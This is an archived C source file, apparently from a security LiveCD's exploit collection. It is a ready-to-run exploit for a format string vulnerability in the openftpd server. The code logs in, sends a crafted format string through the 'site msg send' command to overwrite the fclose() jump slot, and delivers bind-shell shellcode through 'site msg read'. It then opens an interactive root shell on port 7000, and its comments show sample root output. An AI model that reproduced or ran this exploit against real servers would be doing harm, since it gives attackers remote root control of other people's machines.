home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / openftpd / openf.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  308 lines

  1. /*
  2.  * shouts to mitakeet :D
  3.  *
  4.  * exploit for openftpd format string bug. tested on most current version only.
  5.  *  -infamous42md AT hotpop DOT com is real email
  6.  *
  7.  * only tricky part is find a place to stick the shell, as there isn't enough
  8.  * room to send it with the format string.  thankfully when using the 'site msg'
  9.  * commands, all of the args to command are passed directly through to the msg
  10.  * program. so when we tell ftpd to read messages with 'site msg read X', we
  11.  * pass the shellcode as X.  the jumpslot for fclose() gets hijacked, and the
  12.  * retaddr lies early in stack, it's argv[3].
  13.  * no values are hardcoded into sploit, all come from command line, this works
  14.  * for me on slack 9:
  15.  *
  16.  * [n00b@localho.outernet] ./openf -u root -p "" -l 0x0804d8b8 -r 0xbffff9d4 -h
  17.  * localho -o 6969 -a 2 -b 18
  18.  * connected to localho
  19.  * Logged in as root
  20.  * Exploit sent
  21.  * connected to localho
  22.  * got a shell
  23.  *
  24.  * id
  25.  * uid=0(root) gid=0(root)
  26.  * groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
  27.  *
  28.  *  - Connection closed by user
  29.  *
  30.  *  Usage: ./openf
  31.  *          [ -u user ] [ -p pass ] [ -l retloc ] [ -r retaddr ]
  32.  *          [ -b parms base ] [ -h host ] [ -o port ] [ -a align ]
  33.  *  
  34.  * */
  35. #include <stdio.h>
  36. #include <sys/types.h>
  37. #include <string.h>
  38. #include <unistd.h>
  39. #include <sys/socket.h>
  40. #include <netdb.h>
  41. #include <stdlib.h>
  42.  
  43. #define SLOP 8
  44. #define NOP 0x90
  45. #define BS 0x1000
  46. #define SBS 512
  47. #define SHELL_PORT 7000
  48. #define die(x) do{ perror(x); exit(1); }while(0)
  49.  
  50. typedef struct __args {
  51.     char *user, *pass;
  52.     char *host;
  53.     u_short port;
  54.     u_long retloc, retaddr;
  55.     int parms_base; /* distance to the dummy param */
  56.     int align;
  57. } args;
  58.  
  59. /* call them shell code */
  60. char sc[] =
  61.     "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
  62.     "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
  63.     "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
  64.     "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
  65.     "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
  66.     "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
  67.     "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
  68.     "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  69.  
  70. char *usage =
  71.     "\t[ -u user ] [ -p pass ] [ -l retloc ] [ -r retaddr ]\n"
  72.     "\t[ -b parms base ] [ -h host ] [ -o port ] [ -a align ]\n";
  73.  
  74. void parse_args(int argc, char **argv, args * argp)
  75. {
  76.     int c;
  77.  
  78.     while ((c = getopt(argc, argv, "a:u:p:l:r:b:h:o:")) != -1) {
  79.         switch (c) {
  80.         case 'a':
  81.             if ((argp->align = atoi(optarg)) < 0 || argp->align > 3)
  82.                 goto pusage;
  83.             break;
  84.         case 'u':
  85.             argp->user = optarg;
  86.             break;
  87.         case 'p':
  88.             argp->pass = optarg;
  89.             break;
  90.         case 'l':
  91.             sscanf(optarg, "%lx", &argp->retloc);
  92.             break;
  93.         case 'r':
  94.             sscanf(optarg, "%lx", &argp->retaddr);
  95.             break;
  96.         case 'h':
  97.             argp->host = optarg;
  98.             break;
  99.         case 'o':
  100.             argp->port = atoi(optarg);
  101.             break;
  102.         case 'b':
  103.             if ((argp->parms_base = atoi(optarg)) > 0)
  104.                 break;
  105.             /*
  106.              * fall thru 
  107.              */
  108.           pusage:
  109.         case ':':
  110.         case '?':
  111.         default:
  112.             fprintf(stderr, "Usage: %s\n%s", argv[0], usage);
  113.             exit(1);
  114.         }
  115.     }
  116.     if (optind != argc || !argp->user || !argp->pass || !argp->retloc ||
  117.         !argp->retaddr || !argp->host || !argp->port || !argp->parms_base)
  118.         goto pusage;
  119. }
  120.  
  121. int conn(char *host, u_short port)
  122. {
  123.     int sock = 0;
  124.     struct hostent *hp;
  125.     struct sockaddr_in sa;
  126.  
  127.     memset(&sa, 0, sizeof(sa));
  128.  
  129.     hp = gethostbyname(host);
  130.     if (hp == NULL) {
  131.         herror("ghbn");
  132.         die("bla");
  133.     }
  134.     sa.sin_family = AF_INET;
  135.     sa.sin_port = htons(port);
  136.     sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
  137.  
  138.     sock = socket(AF_INET, SOCK_STREAM, 0);
  139.     if (sock < 0)
  140.         die("socket");
  141.  
  142.     if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
  143.         die("connect");
  144.  
  145.     printf("connected to %s\n", host);
  146.     return sock;
  147. }
  148.  
  149. void login(char *user, char *pass, int sock)
  150. {
  151.     char ubuf[BS], pbuf[BS];
  152.  
  153.     snprintf(ubuf, BS - 1, "USER %s\r\n", user);
  154.     ubuf[BS - 1] = 0;
  155.     snprintf(pbuf, BS - 1, "PASS %s\r\n", pass);
  156.     pbuf[BS - 1] = 0;
  157.  
  158.     sleep(1);
  159.     if (send(sock, ubuf, strlen(ubuf), 0) < 0)
  160.         die("send");
  161.     sleep(1);
  162.     if (send(sock, pbuf, strlen(pbuf), 0) < 0)
  163.         die("send");
  164.     sleep(1);
  165.     printf("Logged in as %s\n", user);
  166. }
  167.  
  168. void get_fmt(args * argp, char *fb)
  169. {
  170.     u_short high, low;
  171.     ulong retloc = argp->retloc, slop = 0;
  172.     int dummy = argp->parms_base, len = 0;
  173.  
  174.     /* bytes printed before us */
  175.     slop = SLOP + argp->align;
  176.  
  177.     /* ret addr */
  178.     low = (argp->retaddr & 0xffff);
  179.     high = argp->retaddr >> 16;
  180.  
  181.     /* adjust ret addr words */
  182.     if (low > high)
  183.         high += (0x10000 - low);
  184.     else if (high > low)
  185.         high -= low;
  186.     else if (high == low) {
  187.         fprintf(stderr, "Can't encode a NULL high retaddr, bailing\n"
  188.                 "high = %hx\tlow = %hx\n", high, low);
  189.         die("adsf");
  190.     }
  191.  
  192.     low -= slop;
  193.  
  194.     /* align */
  195.     memset(fb, 'A', argp->align);
  196.     fb[argp->align] = 0;
  197.  
  198.     /* write code 
  199.      * fmt look like: 
  200.      * ALIGN-write_code-dummy-addr1-addr2-low_retaddr-high_retaddr
  201.      */
  202.     sprintf(fb,
  203.             /*   retL         writeL    retH         writeH */
  204.             "%s" "%%%d$*%d$u" "%%%d$hn" "%%%d$*%d$u" "%%%d$hn",
  205.             fb, dummy, dummy + 3, dummy + 1, dummy, dummy + 4, dummy + 2);
  206.  
  207.     /* args */
  208.     strcat(fb, "1111");         /* dummy */
  209.     len = strlen(fb);
  210.     *(u_int *) (fb + len) = retloc;     /* write 1 */
  211.     len += sizeof(retloc);
  212.     *(u_int *) (fb + len) = retloc + 2; /* write 2 */
  213.     len += sizeof(retloc);
  214.     *(u_short *) (fb + len) = low;      /* ret low */
  215.     *(u_short *) (fb + len + 2) = 0x0101;       /* can't be 0 */
  216.     len += sizeof(retloc);
  217.     *(u_short *) (fb + len) = high;     /* ret high */
  218.     *(u_short *) (fb + len + 2) = 0x0101;       /* can't be 0 */
  219.     len += sizeof(retloc);
  220.  
  221.     fb[len] = 0;
  222. }
  223.  
  224. void sploit(args * argp, int sock)
  225. {
  226.     char buf[BS], fmt[BS], sb[BS];
  227.  
  228.     /* setup shell buf */
  229.     memset(sb, NOP, BS);
  230.     strncpy(sb + 100, sc, BS - 101);
  231.     sb[BS - 1] = 0;
  232.  
  233.     get_fmt(argp, fmt);
  234.  
  235.     /* slip them the poison */
  236.     snprintf(buf, BS - 1, "site msg send %s %s\r\n", argp->user, fmt);
  237.     buf[BS - 1] = 0;
  238.     if (send(sock, buf, strlen(buf), 0) < 0)
  239.         die("send");
  240.  
  241.     sleep(5);
  242.  
  243.     /* and make them eat it */
  244.     snprintf(buf, BS - 1, "site msg read %s\r\n", sb);
  245.     buf[BS - 1] = 0;
  246.     if (send(sock, buf, strlen(buf), 0) < 0)
  247.         die("send");
  248.  
  249.     printf("Exploit sent\n");
  250.     sleep(1);
  251. }
  252.  
  253. void shell(char *host, u_short port)
  254. {
  255.     int sock = 0, l = 0;
  256.     char buf[BS];
  257.     fd_set rfds;
  258.  
  259.     sock = conn(host, port);
  260.  
  261.     printf("got a shell\n\n");
  262.     FD_ZERO(&rfds);
  263.  
  264.     while (1) {
  265.         FD_SET(STDIN_FILENO, &rfds);
  266.         FD_SET(sock, &rfds);
  267.  
  268.         if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
  269.             die("select");
  270.  
  271.         if (FD_ISSET(STDIN_FILENO, &rfds)) {
  272.             if ((l = read(0, buf, BS)) <= 0)
  273.                 die("\n - Connection closed by user\n");
  274.             if (write(sock, buf, l) < 1)
  275.                 die("write");
  276.         }
  277.  
  278.         if (FD_ISSET(sock, &rfds)) {
  279.             l = read(sock, buf, sizeof(buf));
  280.  
  281.             if (l == 0)
  282.                 die("\n - Connection terminated.\n");
  283.             else if (l < 0)
  284.                 die("\n - Read failure\n");
  285.  
  286.             if (write(1, buf, l) < 1)
  287.                 die("write");
  288.         }
  289.     }
  290. }
  291.  
  292. int main(int argc, char **argv)
  293. {
  294.     int sock = 0;
  295.     args args;
  296.  
  297.     memset(&args, 0, sizeof(args));
  298.     parse_args(argc, argv, &args);
  299.     sock = conn(args.host, args.port);
  300.     login(args.user, args.pass, sock);
  301.     sploit(&args, sock);
  302.     close(sock);
  303.     sleep(20);
  304.     shell(args.host, SHELL_PORT);
  305.  
  306.     return 0;
  307. }
  308.